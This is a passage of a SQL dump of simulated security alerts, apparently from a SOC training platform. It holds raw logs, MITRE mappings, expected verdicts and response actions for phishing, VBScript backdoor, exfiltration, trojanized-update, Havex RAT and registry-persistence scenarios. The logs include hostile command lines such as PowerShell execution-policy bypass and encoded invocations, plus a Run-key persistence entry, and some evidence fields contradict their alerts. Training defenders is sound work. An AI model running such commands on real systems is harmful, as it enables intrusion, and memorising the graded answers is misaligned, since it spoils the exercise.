dumps.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known FIN6 malware operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:31:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:30:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:29:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:28:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(463, 'Initial Access via Weaponized Word Document', 'high', 'Email Gateway Logs', 'A phishing email was detected containing a weaponized Word document. The email was designed to appear as an official military communication, enticing the recipient to open the attachment. Upon opening, the document initiates a template injection exploit aimed at gaining initial access to the target\'s network.', 'Phishing', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:30Z\",\"email_id\":\"d5f7a8e3-9abc-4567-80d5-5d3fa8765b41\",\"source_ip\":\"91.121.92.36\",\"destination_ip\":\"192.168.1.45\",\"sender_email\":\"info@military-ops.co\",\"recipient_email\":\"j.doe@target-organization.com\",\"subject\":\"Urgent: Military Operations Briefing\",\"attachment\":{\"filename\":\"Operations_Update.docx\",\"hash\":\"e9b1f8b9f8a7e4c9c9b9d8c8d7d6e5a4\"},\"malware_family\":\"Gamaredon\",\"exploit_technique\":\"Template Injection\"}', '2026-01-05 02:59:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"91.121.92.36\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Gamaredon operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"info@military-ops.co\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Email domain used in previous phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e9b1f8b9f8a7e4c9c9b9d8c8d7d6e5a4\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with Gamaredon malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Weaponized Word Document\",\"date\":\"2026-02-01T20:32:19.073Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(464, 'Execution of Embedded VBScript Backdoor', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the Word document, a concealed VBScript backdoor is executed, connecting to a command and control server, enabling remote command execution and persistence within the network.', 'Code Execution', 'T1059.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:00Z\",\"event_type\":\"code_execution\",\"host_ip\":\"192.168.1.15\",\"user\":\"jdoe\",\"process_name\":\"winword.exe\",\"script_name\":\"malicious_script.vbs\",\"script_hash\":\"3a4f1b2c5e6d7f8g9h10i11j12k13l14m15n16o17p\",\"c2_ip\":\"203.0.113.45\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.vbs\",\"command\":\"cscript.exe C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.vbs\",\"action\":\"process_created\"}', '2026-01-05 02:59:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a4f1b2c5e6d7f8g9h10i11j12k13l14m15n16o17p\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with VBScript backdoor\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.vbs\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as a malicious VBScript backdoor\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(465, 'Data Exfiltration via Encrypted Channels', 'high', 'Network Traffic Analysis', 'The attackers have initiated data exfiltration by encrypting sensitive military data and transferring it through a secure TLS channel to an external server. The data was gathered using a deployed VBScript backdoor, enabling discreet exfiltration.', 'Data Theft', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:53:21Z\",\"src_ip\":\"192.168.1.45\",\"dest_ip\":\"203.0.113.77\",\"src_port\":\"44321\",\"dest_port\":\"443\",\"protocol\":\"TLS\",\"username\":\"jdoe\",\"filename\":\"military_data_enc.zip\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"transferred\",\"encryption\":\"AES-256\",\"malware_name\":\"VBScript_Backdoor\"}', '2026-01-05 02:59:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with VBScript_Backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"military_data_enc.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encrypted file potentially containing sensitive data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Activity Logs\",\"verdict\":\"internal\",\"details\":\"User credentials potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(466, 'Initial Access: Trojanized Software Update Detected', 'high', 'Software Update Logs', 'A trojanized software update for the ICS system has been detected. This update was distributed by attackers to gain initial access into the network by compromising the supply chain of the legitimate software provider.', 'Supply Chain Attack', 'T1195.002', 1, 'new', NULL, '{\"timestamp\":\"2023-10-20T14:32:10Z\",\"event_type\":\"software_update\",\"software_name\":\"ICS_Control_Update\",\"version\":\"v2.3.4\",\"update_status\":\"completed\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"destination_user\":\"admin\",\"file_path\":\"/usr/local/ics_control/update_v2.3.4.exe\",\"signature_status\":\"invalid\",\"detected_malware\":\"Trojan.IcsMalware\",\"internal_ip_range\":\"192.168.0.0/16\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of target device.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash matches known trojanized update.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"/usr/local/ics_control/update_v2.3.4.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"suspicious\",\"details\":\"Suspicious file path for trojanized software.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:19.076Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-20T14:32:10Z\\\",\\\"event_type\\\":\\\"software_update\\\",\\\"software_name\\\":\\\"ICS_Control_Update\\\",\\\"version\\\":\\\"v2.3.4\\\",\\\"update_status\\\":\\\"completed\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.25\\\",\\\"destination_user\\\":\\\"admin\\\",\\\"file_path\\\":\\\"/usr/local/ics_control/update_v2.3.4.exe\\\",\\\"signature_status\\\":\\\"invalid\\\",\\\"detected_malware\\\":\\\"Trojan.IcsMalware\\\",\\\"internal_ip_range\\\":\\\"192.168.0.0/16\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(467, 'Execution: \'Havex\' RAT Deployment', 'high', 'Endpoint Detection and Response (EDR)', 'Following the initial access, \'Havex\' RAT is executed to provide attackers with remote control over the compromised systems. The malware was identified running on a critical server, attempting to establish outbound connections to known malicious IPs.', 'Remote Access Trojan', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T15:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"username\":\"compromised_user\",\"process\":\"powershell.exe\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\havex.ps1\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"file_path\":\"C:\\\\Users\\\\compromised_user\\\\AppData\\\\Local\\\\Temp\\\\havex.ps1\",\"alert_generated\":true}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known C2 servers for Havex RAT.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server targeted by the attack.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Havex RAT payload.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"havex.ps1\",\"is_critical\":true,\"osint_result\":{\"source\":\"EDR Analysis\",\"verdict\":\"malicious\",\"details\":\"Script used to execute Havex RAT.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(468, 'Persistence: Registry Modification Identified', 'high', 'Registry Logs', 'The attackers modify registry settings to maintain persistence, ensuring their presence even after system reboots.', 'Persistence Mechanism', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:07Z\",\"event_id\":4657,\"computer_name\":\"WIN-EXAMPLE\",\"user\":\"malicious_user\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\",\"operation\":\"SetValue\",\"value_name\":\"SuspiciousProgram\",\"value_type\":\"REG_SZ\",\"value_data\":\"C:\\\\malicious\\\\malware.exe\",\"attacker_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.42\",\"hash\":\"e99a18c428cb38d5f260853678922e03\"}', '2026-01-05 03:02:42', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Service\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.42\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample used by attackers.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"malicious_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"User Monitoring\",\"verdict\":\"suspicious\",\"details\":\"User involved in unauthorized registry modifications.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'Intermediate', 'EDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:07Z\\\",\\\"event_id\\\":4657,\\\"computer_name\\\":\\\"WIN-EXAMPLE\\\",\\\"user\\\":\\\"malicious_user\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\",\\\"operation\\\":\\\"SetValue\\\",\\\"value_name\\\":\\\"SuspiciousProgram\\\",\\\"value_type\\\":\\\"REG_SZ\\\",\\\"value_data\\\":\\\"C:\\\\\\\\malicious\\\\\\\\malware.exe\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.42\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:19.078Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 